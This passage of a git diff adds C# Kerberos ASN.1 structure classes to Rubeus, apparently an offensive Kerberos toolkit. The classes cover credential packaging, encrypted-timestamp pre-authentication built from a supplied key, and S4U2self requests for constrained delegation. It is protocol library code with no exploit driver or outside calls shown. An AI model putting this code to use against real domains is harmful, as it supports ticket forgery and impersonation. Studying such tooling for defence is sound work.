+ public Interop.KdcOptions kdcOptions { get; set; }
+
+ public PrincipalName cname { get; set; }
+
+ public string realm { get; set; }
+
+ public PrincipalName sname { get; set; }
+
+ public DateTime from { get; set; }
+
+ public DateTime till { get; set; }
+
+ public DateTime rtime { get; set; }
+
+ public UInt32 nonce { get; set; }
+
+ public List etypes { get; set; }
+
+ public List additional_tickets { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs b/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs
new file mode 100755
index 00000000..e5fd4445
--- /dev/null
+++ b/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs
@@ -0,0 +1,45 @@
+using Asn1;
+using System;
+using System.Text;
+
+namespace Rubeus
+{
+ //KERB-PA-PAC-REQUEST ::= SEQUENCE {
+ // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC.
+ // --If FALSE, and PAC present, remove PAC
+ //}
+
+ public class KERB_PA_PAC_REQUEST
+ {
+ public KERB_PA_PAC_REQUEST()
+ {
+ // default -> include PAC
+ include_pac = true;
+ }
+
+ public KERB_PA_PAC_REQUEST(AsnElt value)
+ {
+ include_pac = value.Sub[0].Sub[0].GetBoolean();
+ }
+
+ public AsnElt Encode()
+ {
+ AsnElt ret;
+
+ if (include_pac)
+ {
+ ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 });
+ }
+ else
+ {
+ ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 });
+ }
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret });
+
+ return seq;
+ }
+
+ public bool include_pac { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/KRB_CRED.cs b/Rubeus/lib/krb_structures/KRB_CRED.cs
new file mode 100755
index 00000000..065cf592
--- /dev/null
+++ b/Rubeus/lib/krb_structures/KRB_CRED.cs
@@ -0,0 +1,126 @@
+using System;
+using Asn1;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class KRB_CRED
+ {
+ //KRB-CRED::= [APPLICATION 22] SEQUENCE {
+ // pvno[0] INTEGER(5),
+ // msg-type[1] INTEGER(22),
+ // tickets[2] SEQUENCE OF Ticket,
+ // enc-part[3] EncryptedData -- EncKrbCredPart
+ //}
+
+ public KRB_CRED()
+ {
+ // defaults for creation
+ pvno = 5;
+ msg_type = 22;
+
+ tickets = new List();
+
+ enc_part = new EncKrbCredPart();
+ }
+
+ public KRB_CRED(byte[] bytes)
+ {
+ AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false);
+ this.Decode(asn_KRB_CRED.Sub[0]);
+ }
+
+ public KRB_CRED(AsnElt body)
+ {
+ this.Decode(body);
+ }
+
+ public void Decode(AsnElt body)
+ {
+ tickets = new List();
+
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ pvno = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ msg_type = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 2:
+ foreach (AsnElt ae in s.Sub[0].Sub[0].Sub)
+ {
+ Ticket ticket = new Ticket(ae);
+ tickets.Add(ticket);
+ }
+ break;
+ case 3:
+ enc_part = new EncKrbCredPart(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // pvno [0] INTEGER (5)
+ AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
+ AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
+ pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
+
+
+ // msg-type [1] INTEGER (22)
+ AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
+ AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
+ msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
+
+
+ // tickets [2] SEQUENCE OF Ticket
+ // TODO: encode/handle multiple tickets!
+ AsnElt ticketAsn = tickets[0].Encode();
+ AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
+ AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
+ ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2);
+
+
+ // enc-part [3] EncryptedData -- EncKrbCredPart
+ AsnElt enc_partAsn = enc_part.Encode();
+ AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode());
+
+ AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
+ blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
+
+ // etype == 0 -> no encryption
+ AsnElt etypeAsn = AsnElt.MakeInteger(0);
+ AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
+ etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
+
+ AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
+ AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq });
+ infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2);
+
+
+ // all the components
+ AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
+
+ // tag the final total
+ AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
+ final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);
+
+ return final;
+ }
+
+ public long pvno { get; set; }
+
+ public long msg_type { get; set; }
+
+ //public Ticket[] tickets { get; set; }
+ public List tickets { get; set; }
+
+ public EncKrbCredPart enc_part { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/KRB_ERROR.cs b/Rubeus/lib/krb_structures/KRB_ERROR.cs
new file mode 100755
index 00000000..2f5eb419
--- /dev/null
+++ b/Rubeus/lib/krb_structures/KRB_ERROR.cs
@@ -0,0 +1,110 @@
+using System;
+using Asn1;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Rubeus
+{
+ public class KRB_ERROR
+ {
+ //KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
+ // pvno [0] INTEGER (5),
+ // msg-type [1] INTEGER (30),
+ // ctime [2] KerberosTime OPTIONAL,
+ // cusec [3] Microseconds OPTIONAL,
+ // stime [4] KerberosTime,
+ // susec [5] Microseconds,
+ // error-code [6] Int32,
+ // crealm [7] Realm OPTIONAL,
+ // cname [8] PrincipalName OPTIONAL,
+ // realm [9] Realm -- service realm --,
+ // sname [10] PrincipalName -- service name --,
+ // e-text [11] KerberosString OPTIONAL,
+ // e-data [12] OCTET STRING OPTIONAL
+ //}
+
+ public KRB_ERROR(byte[] errorBytes)
+ {
+
+ }
+
+ public KRB_ERROR(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ pvno = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ msg_type = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 2:
+ ctime = s.Sub[0].GetTime();
+ break;
+ case 3:
+ cusec = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 4:
+ stime = s.Sub[0].GetTime();
+ break;
+ case 5:
+ susec = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 6:
+ error_code = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 7:
+ crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 8:
+ cname = new PrincipalName(s.Sub[0]);
+ break;
+ case 9:
+ realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 10:
+ sname = new PrincipalName(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ // don't ever really need to create a KRB_ERROR structure manually, so no Encode()
+
+ public long pvno { get; set; }
+
+ public long msg_type { get; set; }
+
+ public DateTime ctime { get; set; }
+
+ public long cusec { get; set; }
+
+ public DateTime stime { get; set; }
+
+ public long susec { get; set; }
+
+ public long error_code { get; set; }
+
+ public string crealm { get; set; }
+
+ public PrincipalName cname { get; set; }
+
+ public string realm { get; set; }
+
+ public PrincipalName sname { get; set; }
+
+ // skipping these two for now
+ // e_text
+ // e_data
+
+
+ //public Ticket[] tickets { get; set; }
+ public List tickets { get; set; }
+
+ public EncKrbCredPart enc_part { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/KrbCredInfo.cs b/Rubeus/lib/krb_structures/KrbCredInfo.cs
new file mode 100755
index 00000000..2d70cbb5
--- /dev/null
+++ b/Rubeus/lib/krb_structures/KrbCredInfo.cs
@@ -0,0 +1,216 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class KrbCredInfo
+ {
+ //KrbCredInfo ::= SEQUENCE {
+ // key [0] EncryptionKey,
+ // prealm [1] Realm OPTIONAL,
+ // pname [2] PrincipalName OPTIONAL,
+ // flags [3] TicketFlags OPTIONAL,
+ // authtime [4] KerberosTime OPTIONAL,
+ // starttime [5] KerberosTime OPTIONAL,
+ // endtime [6] KerberosTime OPTIONAL,
+ // renew-till [7] KerberosTime OPTIONAL,
+ // srealm [8] Realm OPTIONAL,
+ // sname [9] PrincipalName OPTIONAL,
+ // caddr [10] HostAddresses OPTIONAL
+ //}
+
+ public KrbCredInfo()
+ {
+ key = new EncryptionKey();
+
+ prealm = "";
+
+ pname = new PrincipalName();
+
+ flags = 0;
+
+ srealm = "";
+
+ sname = new PrincipalName();
+ }
+
+ public KrbCredInfo(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ key = new EncryptionKey(s);
+ break;
+ case 1:
+ prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 2:
+ pname = new PrincipalName(s.Sub[0]);
+ break;
+ case 3:
+ UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
+ byte[] tempBytes = BitConverter.GetBytes(temp);
+ flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
+ break;
+ case 4:
+ authtime = s.Sub[0].GetTime();
+ break;
+ case 5:
+ starttime = s.Sub[0].GetTime();
+ break;
+ case 6:
+ endtime = s.Sub[0].GetTime();
+ break;
+ case 7:
+ renew_till = s.Sub[0].GetTime();
+ break;
+ case 8:
+ srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 9:
+ sname = new PrincipalName(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ List asnElements = new List();
+
+ // key [0] EncryptionKey
+ AsnElt keyAsn = key.Encode();
+ keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn);
+ asnElements.Add(keyAsn);
+
+
+ // prealm [1] Realm OPTIONAL
+ if (!String.IsNullOrEmpty(prealm))
+ {
+ AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm);
+ prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn);
+ AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn);
+ prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq);
+
+ asnElements.Add(prealmAsnSeq);
+ }
+
+
+ // pname [2] PrincipalName OPTIONAL
+ if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0])))
+ {
+ AsnElt pnameAsn = pname.Encode();
+ pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn);
+ asnElements.Add(pnameAsn);
+ }
+
+
+ // pname [2] PrincipalName OPTIONAL
+ byte[] flagBytes = BitConverter.GetBytes((UInt32)flags);
+ if (BitConverter.IsLittleEndian)
+ {
+ Array.Reverse(flagBytes);
+ }
+ AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes);
+ AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn });
+ flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq);
+ asnElements.Add(flagBytesSeq);
+
+
+ // authtime [4] KerberosTime OPTIONAL
+ if ((authtime != null) && (authtime != DateTime.MinValue))
+ {
+ AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ"));
+ AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn });
+ authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq);
+ asnElements.Add(authtimeSeq);
+ }
+
+
+ // starttime [5] KerberosTime OPTIONAL
+ if ((starttime != null) && (starttime != DateTime.MinValue))
+ {
+ AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ"));
+ AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn });
+ starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq);
+ asnElements.Add(starttimeSeq);
+ }
+
+
+ // endtime [6] KerberosTime OPTIONAL
+ if ((endtime != null) && (endtime != DateTime.MinValue))
+ {
+ AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ"));
+ AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn });
+ endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq);
+ asnElements.Add(endtimeSeq);
+ }
+
+
+ // renew-till [7] KerberosTime OPTIONAL
+ if ((renew_till != null) && (renew_till != DateTime.MinValue))
+ {
+ AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ"));
+ AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn });
+ renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq);
+ asnElements.Add(renew_tillSeq);
+ }
+
+
+ // srealm [8] Realm OPTIONAL
+ if (!String.IsNullOrEmpty(srealm))
+ {
+ AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm);
+ srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn);
+ AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn);
+ srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq);
+ asnElements.Add(srealmAsnSeq);
+ }
+
+
+ // sname [9] PrincipalName OPTIONAL
+ if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0])))
+ {
+ AsnElt pnameAsn = sname.Encode();
+ pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn);
+ asnElements.Add(pnameAsn);
+ }
+
+
+ // caddr [10] HostAddresses OPTIONAL
+
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray());
+
+ return seq;
+ }
+
+ public EncryptionKey key { get; set; }
+
+ public string prealm { get; set; }
+
+ public PrincipalName pname { get; set; }
+
+ public Interop.TicketFlags flags { get; set; }
+
+ public DateTime authtime { get; set; }
+
+ public DateTime starttime { get; set; }
+
+ public DateTime endtime { get; set; }
+
+ public DateTime renew_till { get; set; }
+
+ public string srealm { get; set; }
+
+ public PrincipalName sname { get; set; }
+
+ // caddr (optional) - skipping for now
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/LastReq.cs b/Rubeus/lib/krb_structures/LastReq.cs
new file mode 100755
index 00000000..9e56eed1
--- /dev/null
+++ b/Rubeus/lib/krb_structures/LastReq.cs
@@ -0,0 +1,43 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class LastReq
+ {
+ //LastReq::= SEQUENCE OF SEQUENCE {
+ // lr-type[0] Int32,
+ // lr-value[1] KerberosTime
+ //}
+
+ public LastReq(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub[0].Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ lr_type = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ lr_value = s.Sub[0].GetTime();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // TODO: implement
+ return null;
+ }
+
+ public Int32 lr_type { get; set; }
+
+ public DateTime lr_value { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/PA_DATA.cs b/Rubeus/lib/krb_structures/PA_DATA.cs
new file mode 100755
index 00000000..cbd13018
--- /dev/null
+++ b/Rubeus/lib/krb_structures/PA_DATA.cs
@@ -0,0 +1,150 @@
+using System;
+using Asn1;
+using System.IO;
+
+namespace Rubeus
+{
+ public class PA_DATA
+ {
+ //PA-DATA ::= SEQUENCE {
+ // -- NOTE: first tag is [1], not [0]
+ // padata-type [1] Int32,
+ // padata-value [2] OCTET STRING -- might be encoded AP-REQ
+ //}
+
+ public PA_DATA()
+ {
+ // defaults for creation
+ type = Interop.PADATA_TYPE.PA_PAC_REQUEST;
+
+ value = new KERB_PA_PAC_REQUEST();
+ }
+
+ public PA_DATA(string keyString, Interop.KERB_ETYPE etype)
+ {
+ // include pac, supply enc timestamp
+
+ type = Interop.PADATA_TYPE.ENC_TIMESTAMP;
+
+ PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC();
+
+ byte[] rawBytes = temp.Encode().Encode();
+ byte[] key = Helpers.StringToByteArray(keyString);
+
+ // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1
+ // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
+ byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes);
+
+ value = new EncryptedData((int)etype, encBytes);
+ }
+
+ public PA_DATA(byte[] key, string name, string realm)
+ {
+ // used for constrained delegation
+ type = Interop.PADATA_TYPE.S4U2SELF;
+
+ value = new PA_FOR_USER(key, name, realm);
+ }
+
+ public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
+ {
+ // include an AP-REQ, so PA-DATA for a TGS-REQ
+
+ type = Interop.PADATA_TYPE.AP_REQ;
+
+ // build the AP-REQ
+ AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype);
+
+ value = ap_req;
+ }
+
+ public PA_DATA(AsnElt body)
+ {
+ //if (body.Sub.Length != 2)
+ //{
+ // throw new System.Exception("PA-DATA should contain two elements");
+ //}
+
+ //Console.WriteLine("tag: {0}", body.Sub[0].Sub[1].TagString);
+ type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger();
+ byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString();
+
+ if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
+ {
+ value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
+ }
+ else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
+ {
+ // TODO: parse PA-ENC-TIMESTAMP
+ }
+ else if (type == Interop.PADATA_TYPE.AP_REQ)
+ {
+ // TODO: parse AP_REQ
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // padata-type [1] Int32
+ AsnElt typeElt = AsnElt.MakeInteger((long)type);
+ AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt });
+ nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq);
+
+ AsnElt paDataElt;
+ if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
+ {
+ // used for AS-REQs
+
+ // padata-value [2] OCTET STRING -- might be encoded AP-REQ
+ paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode();
+ paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt);
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
+ return seq;
+ }
+ else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
+ {
+ // used for AS-REQs
+ AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode());
+ AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
+ blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq });
+ return seq;
+ }
+ else if (type == Interop.PADATA_TYPE.AP_REQ)
+ {
+ // used for TGS-REQs
+ //paDataElt = ((AP_REQ)value).Encode(); //needed?
+ AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode());
+ AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
+
+ paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
+ return seq;
+ }
+ else if (type == Interop.PADATA_TYPE.S4U2SELF)
+ {
+ // used for constrained delegation
+ paDataElt = ((PA_FOR_USER)value).Encode();
+ AsnElt blob = AsnElt.MakeBlob(((PA_FOR_USER)value).Encode().Encode());
+ AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
+
+ paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
+ return seq;
+ }
+
+ else
+ {
+ return null;
+ }
+ }
+
+ public Interop.PADATA_TYPE type { get; set; }
+
+ public Object value { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs b/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs
new file mode 100755
index 00000000..7c0ce146
--- /dev/null
+++ b/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs
@@ -0,0 +1,46 @@
+using Asn1;
+using System;
+using System.Text;
+
+namespace Rubeus
+{
+ //PA-ENC-TS-ENC ::= SEQUENCE {
+ // patimestamp[0] KerberosTime, -- client's time
+ // pausec[1] INTEGER OPTIONAL
+ //}
+
+ public class PA_ENC_TS_ENC
+ {
+ public PA_ENC_TS_ENC()
+ {
+ patimestamp = DateTime.UtcNow;
+ }
+
+ public PA_ENC_TS_ENC(DateTime time)
+ {
+ patimestamp = time;
+ }
+
+ //public PA_ENC_TS_ENC(AsnElt value)
+ //{
+
+ //}
+
+ public AsnElt Encode()
+ {
+ AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ"));
+ AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn });
+ patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq);
+
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq });
+
+ return totalSeq;
+ }
+
+ public DateTime patimestamp { get; set; }
+
+ public int pausec { get; set; }
+
+ //public bool include_pac { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/PA_FOR_USER.cs b/Rubeus/lib/krb_structures/PA_FOR_USER.cs
new file mode 100755
index 00000000..a7e31dc8
--- /dev/null
+++ b/Rubeus/lib/krb_structures/PA_FOR_USER.cs
@@ -0,0 +1,96 @@
+using Asn1;
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Rubeus
+{
+ //PA-FOR-USER-ENC ::= SEQUENCE {
+ // userName[0] PrincipalName,
+ // userRealm[1] Realm,
+ // cksum[2] Checksum,
+ // auth-package[3] KerberosString
+ //}
+
+ public class PA_FOR_USER
+ {
+ public PA_FOR_USER(byte[] key, string name, string realm)
+ {
+ userName = new PrincipalName(name);
+ userName.name_type = 10;
+ userRealm = realm.ToUpper();
+
+ // now build the checksum
+
+ auth_package = "Kerberos";
+
+ byte[] nameTypeBytes = new byte[4];
+ nameTypeBytes[0] = 0xa;
+
+ byte[] nameBytes = Encoding.UTF8.GetBytes(name);
+ byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm);
+ byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package);
+
+ byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length];
+
+ Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length);
+ Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length);
+ Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length);
+ Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length);
+
+ byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes);
+
+ Checksum checksum = new Checksum(outBytes);
+
+ cksum = checksum;
+ }
+
+ public AsnElt Encode()
+ {
+ List allNodes = new List();
+
+ // userName[0] PrincipalName
+ AsnElt userNameAsn = userName.Encode();
+ userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn);
+ allNodes.Add(userNameAsn);
+
+ // userRealm[1] Realm
+ AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm);
+ userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn);
+ AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn });
+ userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq);
+ allNodes.Add(userRealmSeq);
+
+ // cksum[2] Checksum
+ AsnElt checksumAsn = cksum.Encode();
+ checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn);
+ allNodes.Add(checksumAsn);
+
+ // auth-package[3] KerberosString
+ AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package);
+ auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn);
+ AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn });
+ auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq);
+ allNodes.Add(auth_packageSeq);
+
+
+ // package it all up
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
+
+
+ // tag the final total
+ //AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
+ //final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
+
+ return seq;
+ }
+
+ public PrincipalName userName { get; set; }
+
+ public string userRealm { get; set; }
+
+ public Checksum cksum { get; set; }
+
+ public string auth_package { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/PrincipalName.cs b/Rubeus/lib/krb_structures/PrincipalName.cs
new file mode 100755
index 00000000..3c8c2c19
--- /dev/null
+++ b/Rubeus/lib/krb_structures/PrincipalName.cs
@@ -0,0 +1,94 @@
+using Asn1;
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Rubeus
+{
+ //PrincipalName::= SEQUENCE {
+ // name-type[0] Int32,
+ // name-string[1] SEQUENCE OF KerberosString
+ //}
+
+ public class PrincipalName
+ {
+ public PrincipalName()
+ {
+ // KRB_NT_PRINCIPAL = 1
+ // means just the name of the principal
+ // KRB_NT_SRV_INST = 2
+ // service and other unique instance (krbtgt)
+ // KRB_NT_ENTERPRISE_PRINCIPAL = 10
+ // user@domain.com
+
+ name_type = 1;
+
+ name_string = new List();
+ }
+
+ public PrincipalName(string principal)
+ {
+ // create with principal
+ name_type = 1;
+
+ name_string = new List();
+ name_string.Add(principal);
+ }
+
+ public PrincipalName(AsnElt body)
+ {
+ // KRB_NT_PRINCIPAL = 1
+ // means just the name of the principal
+ // KRB_NT_SRV_INST = 2
+ // service and other unique instance (krbtgt)
+
+ name_type = body.Sub[0].Sub[0].GetInteger();
+
+ int numberOfNames = body.Sub[1].Sub[0].Sub.Length;
+
+ name_string = new List();
+
+ for (int i = 0; i < numberOfNames; i++)
+ {
+ name_string.Add(Encoding.ASCII.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString()));
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // name-type[0] Int32
+ AsnElt nameTypeElt = AsnElt.MakeInteger(name_type);
